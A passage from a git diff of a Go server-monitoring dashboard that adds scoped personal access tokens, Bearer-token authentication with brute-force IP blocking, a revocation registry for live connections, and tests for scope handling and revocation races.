maps.Keys(rule.Ignore)) { + switch rule.Cover { + case model.RuleCoverAll, model.RuleCoverIgnoreAll: + default: return singleton.Localizer.ErrorT("permission denied") } @@ -192,5 +197,20 @@ func validateRule(c *gin.Context, r *model.AlertRule) error { } else { return singleton.Localizer.ErrorT("need to configure at least a single rule") } + + if !singleton.CronShared.CheckPermission(c, slices.Values(r.FailTriggerTasks)) { + return singleton.Localizer.ErrorT("permission denied") + } + if !singleton.CronShared.CheckPermission(c, slices.Values(r.RecoverTriggerTasks)) { + return singleton.Localizer.ErrorT("permission denied") + } + if err := enforcePATTriggerTaskScope(c, r.FailTriggerTasks, r.RecoverTriggerTasks); err != nil { + return err + } + + if err := assertOwnsNotificationGroup(c, r.NotificationGroupID); err != nil { + return err + } + return nil } diff --git a/cmd/dashboard/controller/alertrule_pat_fanout_test.go b/cmd/dashboard/controller/alertrule_pat_fanout_test.go new file mode 100644 index 00000000..4f945690 --- /dev/null +++ b/cmd/dashboard/controller/alertrule_pat_fanout_test.go @@ -0,0 +1,146 @@ +package controller + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/patrickmn/go-cache" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" + "github.com/nezhahq/nezha/service/singleton" +) + +func setupAlertRuleFanoutFixture(t *testing.T) { + t.Helper() + + originalDB := singleton.DB + originalCache := singleton.Cache + originalLoc := singleton.Loc + originalLocalizer := singleton.Localizer + originalServer := singleton.ServerShared + originalCron := singleton.CronShared + originalUserInfo := singleton.UserInfoMap + + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + require.NoError(t, err) + sqlDB, err := db.DB() + require.NoError(t, err) + require.NoError(t, db.AutoMigrate(&model.Server{}, &model.AlertRule{}, &model.Cron{}, &model.User{})) + + singleton.DB = db + singleton.Loc = time.UTC + singleton.Cache = cache.New(time.Minute, time.Minute) + singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) + singleton.UserLock.Lock() + singleton.UserInfoMap = map[uint64]model.UserInfo{1: {Role: model.RoleAdmin}} + singleton.UserLock.Unlock() + + require.NoError(t, db.Create(&model.Server{Common: model.Common{ID: 1, UserID: 1}, Name: "s1", UUID: "s1"}).Error) + require.NoError(t, db.Create(&model.Server{Common: model.Common{ID: 2, UserID: 1}, Name: "s2", UUID: "s2"}).Error) + + singleton.ServerShared = singleton.NewServerClass() + singleton.CronShared = singleton.NewCronClass() + + t.Cleanup(func() { + singleton.CronShared.Close() + _ = sqlDB.Close() + singleton.DB = originalDB + singleton.Cache = originalCache + singleton.Loc = originalLoc + singleton.Localizer = originalLocalizer + singleton.ServerShared = originalServer + singleton.CronShared = originalCron + singleton.UserLock.Lock() + singleton.UserInfoMap = originalUserInfo + singleton.UserLock.Unlock() + }) +} + +func newAlertRuleCtxWithPAT(t *testing.T, viewer *model.User, tok *model.APIToken, body any) *gin.Context { + t.Helper() + gin.SetMode(gin.TestMode) + c, _ := gin.CreateTestContext(httptest.NewRecorder()) + raw, _ := json.Marshal(body) + c.Request = httptest.NewRequest(http.MethodPost, "/api/v1/alert-rule", bytes.NewReader(raw)) + c.Request.Header.Set("Content-Type", "application/json") + if viewer != nil { + c.Set(model.CtxKeyAuthorizedUser, viewer) + } + if tok != nil { + c.Set(model.CtxKeyAPIToken, tok) + } + return c +} + +// A server-limited PAT must not be able to create a RuleCoverAll rule with an +// empty Ignore (deny-list). Empty deny-list means "monitor every owner-visible +// server", which escapes the PAT's server_ids whitelist. +func TestCreateAlertRulePATCoverAllEmptyIgnoreRejected(t *testing.T) { + setupAlertRuleFanoutFixture(t) + + tok := &model.APIToken{ID: 5, UserID: 1} + tok.SetServerIDs([]uint64{1}) + + form := map[string]any{ + "name": "all-servers", + "enable": false, + "rules": []map[string]any{ + {"type": "offline", "cover": model.RuleCoverAll, "duration": 10}, + }, + } + + c := newAlertRuleCtxWithPAT(t, &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin}, tok, form) + _, err := createAlertRule(c) + require.Error(t, err, "CoverAll + empty Ignore must be rejected for a PAT scoped to {1}") + + var count int64 + require.NoError(t, singleton.DB.Model(&model.AlertRule{}).Count(&count).Error) + assert.Equal(t, int64(0), count, "no alert rule should be persisted") +} + +// The same PAT may create a RuleCoverAll rule when it explicitly denies every +// server outside its whitelist (here: server 2), since the fan-out is then +// confined to server 1. Exercised at validateRule to avoid the alert-sentinel +// side effects of a full createAlertRule. +func TestValidateRulePATCoverAllDenyingOutsideServersAllowed(t *testing.T) { + setupAlertRuleFanoutFixture(t) + + tok := &model.APIToken{ID: 6, UserID: 1} + tok.SetServerIDs([]uint64{1}) + + c := newAlertRuleCtxWithPAT(t, &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin}, tok, nil) + + r := &model.AlertRule{ + Common: model.Common{UserID: 1}, + Name: "only-server-1", + Rules: []*model.Rule{{Type: "offline", Cover: model.RuleCoverAll, Duration: 10, Ignore: map[uint64]bool{2: true}}}, + } + require.NoError(t, validateRule(c, r), "CoverAll denying every out-of-whitelist server must be allowed") +} + +// Empty deny-list at validateRule level must also be rejected. +func TestValidateRulePATCoverAllEmptyIgnoreRejected(t *testing.T) { + setupAlertRuleFanoutFixture(t) + + tok := &model.APIToken{ID: 7, UserID: 1} + tok.SetServerIDs([]uint64{1}) + + c := newAlertRuleCtxWithPAT(t, &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin}, tok, nil) + + r := &model.AlertRule{ + Common: model.Common{UserID: 1}, + Name: "all", + Rules: []*model.Rule{{Type: "offline", Cover: model.RuleCoverAll, Duration: 10}}, + } + require.Error(t, validateRule(c, r), "CoverAll + empty Ignore must be rejected for PAT scoped to {1}") +} diff --git a/cmd/dashboard/controller/api_token.go b/cmd/dashboard/controller/api_token.go new file mode 100644 index 00000000..261223e8 --- /dev/null +++ b/cmd/dashboard/controller/api_token.go @@ -0,0 +1,294 @@ +package controller + +import ( + "errors" + "net/http" + "slices" + "strconv" + "strings" + "time" + + "github.com/gin-gonic/gin" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/utils" + "github.com/nezhahq/nezha/service/singleton" +) + +const ( + apiTokenSecretLength = 32 // 明文 token 随机部分长度（hex 编码前） + apiTokenCtxKey = "nz_api_token" // #nosec G101 -- gin context key name, not a credential + apiTokenLastUsedCtxKey = "nz_api_token_used_marker" // #nosec G101 -- gin context key name, not a credential + apiTokenReadOnlyCtxKey = "nz_api_token_read_only" // #nosec G101 -- gin context key name, not a credential + apiTokenAuthSchemePrefix = "Bearer " +) + +// listAPITokens 列出当前用户的所有 PAT（脱敏，不含 token 明文）。 +// @Summary List API tokens +// @Tags auth required +// @Produce json +// @Success 200 {object} model.CommonResponse[[]model.APITokenView] +// @Router /api-tokens [get] +func listAPITokens(c *gin.Context) ([]model.APITokenView, error) { + uid := getUid(c) + var rows []model.APIToken + if err := singleton.DB.Where("user_id = ?", uid).Order("id DESC").Find(&rows).Error; err != nil { + return nil, newGormError("%v", err) + } + out := make([]model.APITokenView, 0, len(rows)) + for i := range rows { + out = append(out, rows[i].ToView()) + } + return out, nil +} + +// createAPIToken 创建一个 PAT。明文 token 仅在响应中返回一次。 +// @Summary Create API token +// @Tags auth required +// @Accept json +// @Param body body model.APITokenCreateRequest true "request" +// @Produce json +// @Success 200 {object} model.CommonResponse[model.APITokenCreateResponse] +// @Router /api-tokens [post] +func createAPIToken(c *gin.Context) (*model.APITokenCreateResponse, error) { + var req model.APITokenCreateRequest + if err := c.ShouldBindJSON(&req); err != nil { + return nil, err + } + req.Name = strings.TrimSpace(req.Name) + if req.Name == "" { + return nil, errors.New("name required") + } + if len(req.Name) > 128 { + return nil, errors.New("name too long (max 128 chars)") + } + if req.ExpiresInDays < 0 { + return nil, errors.New("expires_in_days must be >= 0") + } + if req.ExpiresInDays > 3650 { + return nil, errors.New("expires_in_days too large (max 3650, i.e. 10 years)") + } + if len(req.Scopes) > 32 { + return nil, errors.New("too many scopes (max 32)") + } + if len(req.ServerIDs) > 1000 { + return nil, errors.New("too many server_ids (max 1000)") + } + + allowed := append(append([]string{}, model.AllScopes...), model.AdminOnlyScopes...) + seen := make(map[string]struct{}, len(req.Scopes)) + cleaned := make([]string, 0, len(req.Scopes)) + for _, s := range req.Scopes { + s = strings.TrimSpace(s) + if s == "" { + continue + } + normalized, ok := model.NormalizeIncomingScope(s) + if !ok { + return nil, errors.New("unknown scope: " + s) + } + if !slices.Contains(allowed, normalized) { + return nil, errors.New("unknown scope: " + s) + } + if _, dup := seen[normalized]; dup { + continue + } + seen[normalized] = struct{}{} + cleaned = append(cleaned, normalized) + } + if len(cleaned) == 0 { + return nil, errors.New("at least one scope required") + } + + if !callerIsAdmin(c) { + for _, s := range cleaned { + if slices.Contains(model.AdminOnlyScopes, s) { + return nil, errors.New("only admin can issue scope: " + s) + } + } + } + + if len(req.ServerIDs) > 0 { + seenSrv := make(map[uint64]struct{}, len(req.ServerIDs)) + deduped := make([]uint64, 0, len(req.ServerIDs)) + for _, sid := range req.ServerIDs { + if sid == 0 { + return nil, errors.New("server_id 0 is invalid") + } + if _, dup := seenSrv[sid]; dup { + continue + } + seenSrv[sid] = struct{}{} + deduped = append(deduped, sid) + server, _ := singleton.ServerShared.Get(sid) + if server == nil { + return nil, errors.New("server not found") + } + if !callerIsAdmin(c) && !server.HasPermission(c) { + return nil, errors.New("permission denied on server") + } + } + req.ServerIDs = deduped + } + + secret, err := utils.GenerateRandomString(apiTokenSecretLength) + if err != nil { + return nil, err + } + plaintext := model.APITokenPrefix + secret + + tok := model.APIToken{ + UserID: getUid(c), + Name: req.Name, + TokenHash: model.HashAPIToken(plaintext), + } + tok.SetScopes(cleaned) + if len(req.ServerIDs) > 0 { + tok.SetServerIDs(req.ServerIDs) + } + if req.ExpiresInDays > 0 { + exp := time.Now().Add(time.Duration(req.ExpiresInDays) * 24 * time.Hour) + tok.ExpiresAt = &exp + } + + if err := singleton.DB.Create(&tok).Error; err != nil { + return nil, newGormError("%v", err) + } + + return &model.APITokenCreateResponse{ + ID: tok.ID, + Name: tok.Name, + Token: plaintext, + Scopes: tok.Scopes(), + ServerIDs: tok.ServerIDs(), + ExpiresAt: tok.ExpiresAt, + }, nil +} + +// deleteAPIToken 吊销一个 PAT。 +// @Summary Revoke API token +// @Tags auth required +// @Param id path uint true "token id" +// @Produce json +// @Success 200 {object} model.CommonResponse[any] +// @Router /api-tokens/{id} [delete] +func deleteAPIToken(c *gin.Context) (any, error) { + idStr := c.Param("id") + id, err := strconv.ParseUint(idStr, 10, 64) + if err != nil { + return nil, err + } + q := singleton.DB.Where("id = ?", id) + if !callerIsAdmin(c) { + q = q.Where("user_id = ?", getUid(c)) + } + res := q.Delete(&model.APIToken{}) + if res.Error != nil { + return nil, newGormError("%v", res.Error) + } + if res.RowsAffected == 0 { + return nil, errors.New("not found") + } + // Fan out the revocation to any active long-lived connection that + // carries this PAT — ws/server, ws/transfer, terminal, FM. Without + // this hook a deleted PAT keeps streaming until the underlying + // connection naturally drops. + patConnectionRegistryShared.revokeToken(id) + return nil, nil +} + +// apiTokenAuthMiddleware 解析 `Authorization: Bearer nzp_xxx`， +// 命中后把 *model.User 挂到 ctx 上，使下游一切 Server.HasPermission/getUid 复用 JWT 路径。 +// +// 不命中（无 Authorization 头或前缀不是 nzp_）：放行下一个中间件（例如 JWT）。 +// 命中但 token 无效：直接 401 并 abort，不再走到 JWT。 +func apiTokenAuthMiddleware() gin.HandlerFunc { + return func(c *gin.Context) { + readOnly := apiTokenAuthReadOnly(c) + raw := strings.TrimSpace(c.GetHeader("Authorization")) + if raw == "" { + return + } + if !strings.HasPrefix(raw, apiTokenAuthSchemePrefix) { + return + } + plaintext := strings.TrimSpace(strings.TrimPrefix(raw, apiTokenAuthSchemePrefix)) + if !strings.HasPrefix(plaintext, model.APITokenPrefix) { + // 既然有 Bearer 但不是 PAT 前缀，交给后续 JWT 中间件处理 + return + } + + realIP := c.GetString(model.CtxKeyRealIPStr) + + var tok model.APIToken + err := singleton.DB.Where("token_hash = ?", model.HashAPIToken(plaintext)).First(&tok).Error + if err != nil { + if errors.Is(err, gorm.ErrRecordNotFound) { + if !readOnly { + model.BlockIP(singleton.DB, realIP, model.WAFBlockReasonTypeBruteForceToken, model.BlockIDToken) + } + abortAPITokenUnauthorized(c, "invalid api token") + return + } + abortAPITokenUnauthorized(c, "api token lookup failed") + return + } + now := time.Now() + if tok.IsExpired(now) { + if !readOnly { + model.BlockIP(singleton.DB, realIP, model.WAFBlockReasonTypeBruteForceToken, model.BlockIDToken) + } + abortAPITokenUnauthorized(c, "api token expired") + return + } + + var user model.User + if err := singleton.DB.First(&user, tok.UserID).Error; err != nil { + if !readOnly { + model.BlockIP(singleton.DB, realIP, model.WAFBlockReasonTypeBruteForceToken, model.BlockIDToken) + } + abortAPITokenUnauthorized(c, "owner of api token not found") + return + } + + if !readOnly { + model.UnblockIP(singleton.DB, realIP, model.BlockIDToken) + } + + c.Set(model.CtxKeyAuthorizedUser, &user) + c.Set(apiTokenCtxKey, &tok) + c.Set(model.CtxKeyAPIToken, &tok) + + // last_used 同步更新：开销极低（一行 UPDATE），异步路径在 + // 多连接 sqlite 测试场景下会和测试 teardown 形成竞态，并把 + // `last_used_*` 写丢到不可见的 :memory: 实例。生产路径上等价。 + if !readOnly && apiTokenLastUsedOnce(c) { + c.Set(apiTokenLastUsedCtxKey, true) + _ = singleton.DB.Model(&model.APIToken{}). + Where("id = ?", tok.ID). + Updates(map[string]any{ + "last_used_at": now, + "last_used_ip": c.GetString(model.CtxKeyRealIPStr), + }).Error + } + } +} + +func abortAPITokenUnauthorized(c *gin.Context, reason string) { + c.AbortWithStatusJSON(http.StatusUnauthorized, model.CommonResponse[any]{ + Success: false, + Error: "ApiErrorUnauthorized: " + reason, + }) +} + +// APITokenFromContext 取当前请求关联的 PAT，未命中返回 nil。 +// MCP tool 中间件用它做 scope 校验（闸 2）。 +func APITokenFromContext(c *gin.Context) *model.APIToken { + v, ok := c.Get(apiTokenCtxKey) + if !ok { + return nil + } + t, _ := v.(*model.APIToken) + return t +} diff --git a/cmd/dashboard/controller/api_token_legacy_migration_test.go b/cmd/dashboard/controller/api_token_legacy_migration_test.go new file mode 100644 index 00000000..8b68b366 --- /dev/null +++ b/cmd/dashboard/controller/api_token_legacy_migration_test.go @@ -0,0 +1,78 @@ +package controller + +import ( + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" +) + +// createAPIToken 是「旧 mcp:* → 新 nezha:*」唯一的归一化入口： +// - mcp:fs:read / mcp:server:read 归一化为 nezha:server:read； +// - mcp:server:exec 归一化为 nezha:server:exec； +// - mcp:fs:write / mcp:fs:delete / mcp:* 不再可签发——它们历史上覆盖范围 +// 比 nezha:server:write/delete 窄（只跑 MCP fs 工具），静默映射会扩权。 +// +// 这样老调用方传旧 scope 还能创建只读 PAT，但拿不到 write/delete 提权。 + +func TestCreateAPIToken_RewritesLegacyReadScopeToNezhaRead(t *testing.T) { + defer setupAPITokenTest(t)() + c := ctxAsUser(10, model.RoleMember) + bindJSON(c, model.APITokenCreateRequest{ + Name: "legacy-reader", + Scopes: []string{"mcp:fs:read"}, + }) + res, err := createAPIToken(c) + require.NoError(t, err, "legacy mcp:fs:read must be accepted at create time and rewritten") + require.Equal(t, []string{model.ScopeServerRead}, res.Scopes, + "create response must reflect the new unified scope name, not the legacy alias") +} + +func TestCreateAPIToken_RewritesLegacyExecScopeToNezhaExec(t *testing.T) { + defer setupAPITokenTest(t)() + c := ctxAsUser(10, model.RoleMember) + bindJSON(c, model.APITokenCreateRequest{ + Name: "legacy-exec", + Scopes: []string{"mcp:server:exec"}, + }) + res, err := createAPIToken(c) + require.NoError(t, err) + require.Equal(t, []string{model.ScopeServerExec}, res.Scopes) +} + +func TestCreateAPIToken_RejectsLegacyMCPWriteScope(t *testing.T) { + defer setupAPITokenTest(t)() + c := ctxAsUser(10, model.RoleMember) + bindJSON(c, model.APITokenCreateRequest{ + Name: "legacy-writer", + Scopes: []string{"mcp:fs:write"}, + }) + _, err := createAPIToken(c) + require.Error(t, err, + "mcp:fs:write must be rejected: silently mapping to nezha:server:write would expand the original "+ + "MCP-only write capability to every REST server mutation route") +} + +func TestCreateAPIToken_RejectsLegacyMCPDeleteScope(t *testing.T) { + defer setupAPITokenTest(t)() + c := ctxAsUser(10, model.RoleMember) + bindJSON(c, model.APITokenCreateRequest{ + Name: "legacy-deleter", + Scopes: []string{"mcp:fs:delete"}, + }) + _, err := createAPIToken(c) + require.Error(t, err) +} + +func TestCreateAPIToken_RejectsLegacyMCPWildcardScope(t *testing.T) { + defer setupAPITokenTest(t)() + c := ctxAsUser(1, model.RoleAdmin) + bindJSON(c, model.APITokenCreateRequest{ + Name: "legacy-admin", + Scopes: []string{"mcp:*"}, + }) + _, err := createAPIToken(c) + require.Error(t, err, + "mcp:* must be rejected even for admin: the new unified namespace is nezha:* / nezha:admin:*") +} diff --git a/cmd/dashboard/controller/api_token_optional_scope_test.go b/cmd/dashboard/controller/api_token_optional_scope_test.go new file mode 100644 index 00000000..a904eef5 --- /dev/null +++ b/cmd/dashboard/controller/api_token_optional_scope_test.go @@ -0,0 +1,71 @@ +package controller + +import ( + "net/http" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" +) + +func setupOptionalAuthRouter(t *testing.T, plainToken string) *httptest.Server { + t.Helper() + gin.SetMode(gin.TestMode) + r := gin.New() + + jwtMw := func(c *gin.Context) { + c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"error": "no jwt"}) + } + patMw := apiTokenAuthMiddleware() + authMw := jwtOrPATAuthMiddleware(patMw, jwtMw) + + stub := func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) } + optionalAuth := r.Group("/api/v1", authMw) + optionalAuth.GET("/server-group", restScopeMiddleware(model.ScopeInventoryRead), stub) + optionalAuth.GET("/service", restScopeMiddleware(model.ScopeServiceRead), stub) + optionalAuth.GET("/server/:id/metrics", restScopeMiddleware(model.ScopeServerRead), stub) + + ts := httptest.NewServer(r) + t.Cleanup(ts.Close) + _ = plainToken + return ts +} + +func TestOptionalAuth_PATWithoutScopeIsDenied(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + + _, plain := mkToken(t, uid, []string{model.ScopeNotificationRead}, nil) + ts := setupOptionalAuthRouter(t, plain) + + for _, path := range []string{ + "/api/v1/server-group", + "/api/v1/service", + "/api/v1/server/7/metrics", + } { + resp := doReq(t, ts, "GET", path, plain) + resp.Body.Close() + require.Equal(t, http.StatusForbidden, resp.StatusCode, "PAT lacking required scope must be denied for %s", path) + } +} + +func TestOptionalAuth_PATWithMatchingScopeAllowed(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + + _, plain := mkToken(t, uid, []string{model.ScopeInventoryRead, model.ScopeServerRead, model.ScopeServiceRead}, nil) + ts := setupOptionalAuthRouter(t, plain) + + for _, path := range []string{ + "/api/v1/server-group", + "/api/v1/service", + "/api/v1/server/7/metrics", + } { + resp := doReq(t, ts, "GET", path, plain) + resp.Body.Close() + require.Equal(t, http.StatusOK, resp.StatusCode, "PAT with matching scope must pass for %s", path) + } +} diff --git a/cmd/dashboard/controller/api_token_read_only.go b/cmd/dashboard/controller/api_token_read_only.go new file mode 100644 index 00000000..86495d73 --- /dev/null +++ b/cmd/dashboard/controller/api_token_read_only.go @@ -0,0 +1,19 @@ +package controller + +import "github.com/gin-gonic/gin" + +func suppressAPITokenAuthWrites(c *gin.Context) { c.Set(apiTokenReadOnlyCtxKey, true) } + +func apiTokenAuthReadOnly(c *gin.Context) bool { + value, ok := c.Get(apiTokenReadOnlyCtxKey) + return ok && value == true +} + +func apiTokenLastUsedOnce(c *gin.Context) bool { + value, seen := c.Get(apiTokenLastUsedCtxKey) + if seen && value == true { + return false + } + c.Set(apiTokenLastUsedCtxKey, true) + return true +} diff --git a/cmd/dashboard/controller/api_token_revoke_registry.go b/cmd/dashboard/controller/api_token_revoke_registry.go new file mode 100644 index 00000000..62723593 --- /dev/null +++ b/cmd/dashboard/controller/api_token_revoke_registry.go @@ -0,0 +1,148 @@ +package controller + +import ( + "sync" + "time" + + "github.com/nezhahq/nezha/model" +) + +// revokeTombstoneTTL bounds how long a revoked token id is remembered to +// close the revoke->register race. The race window is a single request's +// auth-to-register gap (sub-second); minutes of slack is ample. Without a +// TTL the tombstone set grows unbounded over the process lifetime as PATs +// are created and deleted. +const revokeTombstoneTTL = 10 * time.Minute + +// patConnectionRegistry tracks active long-lived connections (terminal, +// FM, ws/server, ws/transfer, etc.) per PAT id so that deleteAPIToken can +// cancel them immediately on revocation. Without this, a deleted PAT +// keeps streaming until the underlying connection naturally drops. +// +// The registry deliberately holds no goroutines — it only stores cancel +// hooks the connection setup already owns. Handlers register on entry +// and deregister on exit; revokeToken walks the per-token slice and +// invokes every hook under the lock. +type patConnectionRegistry struct { + mu sync.Mutex + byToken map[uint64]map[uint64]func() + // revoked is a tombstone set closing the revoke->register race: a + // connection can pass apiTokenAuthMiddleware (token cached in ctx) and + // only register its cancel hook AFTER deleteAPIToken already walked the + // registry. Without the tombstone that late registration would survive + // revocation. register consults revoked under the same lock and cancels + // immediately when the id is already gone. + revoked map[uint64]time.Time + nextID uint64 +} + +func newPATConnectionRegistry() *patConnectionRegistry { + return &patConnectionRegistry{ + byToken: make(map[uint64]map[uint64]func()), + revoked: make(map[uint64]time.Time), + } +} + +// pruneRevokedLocked drops tombstones older than revokeTombstoneTTL. Caller +// must hold r.mu. Bounds the tombstone set to recently-revoked ids. +func (r *patConnectionRegistry) pruneRevokedLocked(now time.Time) { + for id, at := range r.revoked { + if now.Sub(at) > revokeTombstoneTTL { + delete(r.revoked, id) + } + } +} + +// register stores cancel under tokenID and returns a deregister hook the +// caller MUST invoke when the connection ends. Returning a closure +// (rather than exposing an id) prevents callers from forgetting to clean +// up and avoids leaking entries past connection lifetime. +// +// If tokenID was already revoked, register does NOT store the hook; it +// cancels immediately and returns a no-op deregister, so a connection that +// raced past revocation is torn down at once. +func (r *patConnectionRegistry) register(tokenID uint64, cancel func()) func() { + r.mu.Lock() + now := time.Now() + r.pruneRevokedLocked(now) + if at, dead := r.revoked[tokenID]; dead && now.Sub(at) <= revokeTombstoneTTL { + r.mu.Unlock() + cancel() + return func() {} + } + r.nextID++ + id := r.nextID + conns, ok := r.byToken[tokenID] + if !ok { + conns = make(map[uint64]func()) + r.byToken[tokenID] = conns + } + conns[id] = cancel + r.mu.Unlock() + + var once sync.Once + return func() { + once.Do(func() { + r.mu.Lock() + defer r.mu.Unlock() + if m, ok := r.byToken[tokenID]; ok { + delete(m, id) + if len(m) == 0 { + delete(r.byToken, tokenID) + } + } + }) + } +} + +// revokeToken cancels every active connection registered under tokenID, +// clears the entry, and records a tombstone so any connection still racing +// toward register is cancelled on arrival. Safe to call on an unknown id. +func (r *patConnectionRegistry) revokeToken(tokenID uint64) { + r.mu.Lock() + conns := r.byToken[tokenID] + delete(r.byToken, tokenID) + now := time.Now() + r.pruneRevokedLocked(now) + r.revoked[tokenID] = now + r.mu.Unlock() + + for _, cancel := range conns { + cancel() + } +} + +// countForToken returns the number of active connections registered +// under tokenID. Intended for tests + future SIEM exposure; callers MUST +// NOT use it for policy decisions because the count can change the +// instant the lock is released. +func (r *patConnectionRegistry) countForToken(tokenID uint64) int { + r.mu.Lock() + defer r.mu.Unlock() + return len(r.byToken[tokenID]) +} + +var patConnectionRegistryShared = newPATConnectionRegistry() + +// registerPATConnection wires the request-bound PAT (if any) into the +// process-wide revocation registry. Returns a deregister hook the +// handler MUST defer. For JWT-authenticated requests the hook is a +// no-op so call sites stay portable. +// +// Long-lived endpoints (terminal, FM, ws/server, ws/transfer) call +// this on entry and pass a cancel function that drops their websocket +// or relay loop. deleteAPIToken then revokes every active hook +// registered under the deleted token id. +func registerPATConnection(c interface { + Get(any) (any, bool) +}, cancel func()) func() { + v, ok := c.Get(apiTokenCtxKey) + if !ok { + return func() {} + } + tok, ok := v.(*model.APIToken) + if !ok || tok == nil { + return func() {} + } + return patConnectionRegistryShared.register(tok.ID, cancel) +} diff --git a/cmd/dashboard/controller/api_token_revoke_registry_race_test.go b/cmd/dashboard/controller/api_token_revoke_registry_race_test.go new file mode 100644 index 00000000..3cb925cd --- /dev/null +++ b/cmd/dashboard/controller/api_token_revoke_registry_race_test.go @@ -0,0 +1,46 @@ +package controller + +import ( + "sync" + "sync/atomic" + "testing" + + "github.com/stretchr/testify/require" +) + +// 撤销发生在 register 之前时，迟到的连接必须被立即取消，而不是存活下来。 +func TestRegisterAfterRevokeCancelsImmediately(t *testing.T) { + r := newPATConnectionRegistry() + r.revokeToken(42) + + var cancelled atomic.Bool + dereg := r.register(42, func() { cancelled.Store(true) }) + + require.True(t, cancelled.Load(), "late registration on a revoked token must cancel at once") + require.Equal(t, 0, r.countForToken(42), "revoked token must not retain connections") + dereg() // must be a safe no-op +} + +// 并发 revoke/register 下不得有连接逃过撤销。 +func TestRevokeRegisterNoSurvivor(t *testing.T) { + for iter := 0; iter < 200; iter++ { + r := newPATConnectionRegistry() + var cancelled atomic.Bool + var wg sync.WaitGroup + wg.Add(2) + go func() { + defer wg.Done() + r.register(7, func() { cancelled.Store(true) }) + }() + go func() { + defer wg.Done() + r.revokeToken(7) + }() + wg.Wait() + + // 无论谁先跑：要么 register 先（被 revoke 取消），要么 revoke 先 + // （register 在 tombstone 上立即取消）。两种顺序都不能留下活连接。 + require.True(t, cancelled.Load(), "iter %d: connection survived revocation", iter) + require.Equal(t, 0, r.countForToken(7), "iter %d: registry must be empty after revoke", iter) + } +} diff --git a/cmd/dashboard/controller/api_token_revoke_registry_test.go b/cmd/dashboard/controller/api_token_revoke_registry_test.go new file mode 100644 index 00000000..d0a149e2 --- /dev/null +++ b/cmd/dashboard/controller/api_token_revoke_registry_test.go @@ -0,0 +1,99 @@ +package controller + +import ( + "context" + "testing" + "time" +) + +// M7 regression: long-lived PAT-authenticated handlers (ws/server, +// ws/transfer, terminal, FM) must register a cancel hook so that +// deleteAPIToken can close active connections immediately. Without this, +// a revoked PAT keeps streaming until the connection naturally drops. +func TestPATConnectionRegistry_CancelsOnRevoke(t *testing.T) { + registry := newPATConnectionRegistry() + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + + deregister := registry.register(42, cancel) + defer deregister() + + registry.revokeToken(42) + + select { + case <-ctx.Done(): + case <-time.After(time.Second): + t.Fatal("revokeToken must cancel the registered context within 1s") + } +} + +func TestPATConnectionRegistry_DoesNotCancelOtherTokens(t *testing.T) { + registry := newPATConnectionRegistry() + ctxA, cancelA := context.WithCancel(context.Background()) + ctxB, cancelB := context.WithCancel(context.Background()) + defer cancelA() + defer cancelB() + + deregisterA := registry.register(1, cancelA) + deregisterB := registry.register(2, cancelB) + defer deregisterA() + defer deregisterB() + + registry.revokeToken(1) + + select { + case <-ctxA.Done(): + case <-time.After(time.Second): + t.Fatal("token 1's connection must be cancelled") + } + + select { + case <-ctxB.Done(): + t.Fatal("token 2's connection must NOT be cancelled (separate token)") + case <-time.After(50 * time.Millisecond): + } +} + +func TestPATConnectionRegistry_DeregisterClearsEntry(t *testing.T) { + registry := newPATConnectionRegistry() + _, cancel := context.WithCancel(context.Background()) + deregister := registry.register(1, cancel) + + deregister() + + if got := registry.countForToken(1); got != 0 { + t.Fatalf("after deregister, count for token 1 must be 0, got %d", got) + } +} + +func TestPATConnectionRegistry_MultipleConnsPerToken(t *testing.T) { + registry := newPATConnectionRegistry() + ctx1, c1 := context.WithCancel(context.Background()) + ctx2, c2 := context.WithCancel(context.Background()) + defer c1() + defer c2() + + d1 := registry.register(7, c1) + d2 := registry.register(7, c2) + defer d1() + defer d2() + + if got := registry.countForToken(7); got != 2 { + t.Fatalf("expected 2 connections for token 7, got %d", got) + } + + registry.revokeToken(7) + + for _, ctx := range []context.Context{ctx1, ctx2} { + select { + case <-ctx.Done(): + case <-time.After(time.Second): + t.Fatal("all connections for the revoked token must be cancelled") + } + } +} + +func TestPATConnectionRegistry_RevokeUnknownTokenIsNoOp(t *testing.T) { + registry := newPATConnectionRegistry() + registry.revokeToken(999) // must not panic +} diff --git a/cmd/dashboard/controller/api_token_scope.go b/cmd/dashboard/controller/api_token_scope.go new file mode 100644 index 00000000..a9081ff7 --- /dev/null +++ b/cmd/dashboard/controller/api_token_scope.go @@ -0,0 +1,135 @@ +package controller + +import ( + "net/http" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" +) + +// jwtOrPATAuthMiddleware 把 PAT 与 JWT 两条鉴权链组合到 /api/v1/* 入口。 +// +// 处理顺序： +// 1. apiTokenAuthMiddleware：识别 `Authorization: Bearer nzp_*`。命中（合法 PAT） +// 把 user 挂到 ctx；非法 PAT 直接 abort 401。 +// 2. 如果 PAT 已挂 user → 跳过 JWT。 +// 3. 否则 → JWT 中间件接管，按现有 cookie / Bearer / query token 逻辑鉴权。 +// +// 存量 JWT 客户端零感知；新 PAT 客户端可直接调 REST，但每个端点的 scope +// 仍由 restScopeMiddleware 控制。 +func jwtOrPATAuthMiddleware(patMw, jwtMw gin.HandlerFunc) gin.HandlerFunc { + return func(c *gin.Context) { + patMw(c) + if c.IsAborted() { + return + } + if APITokenFromContext(c) != nil { + return + } + jwtMw(c) + if c.IsAborted() { + return + } + } +} + +// 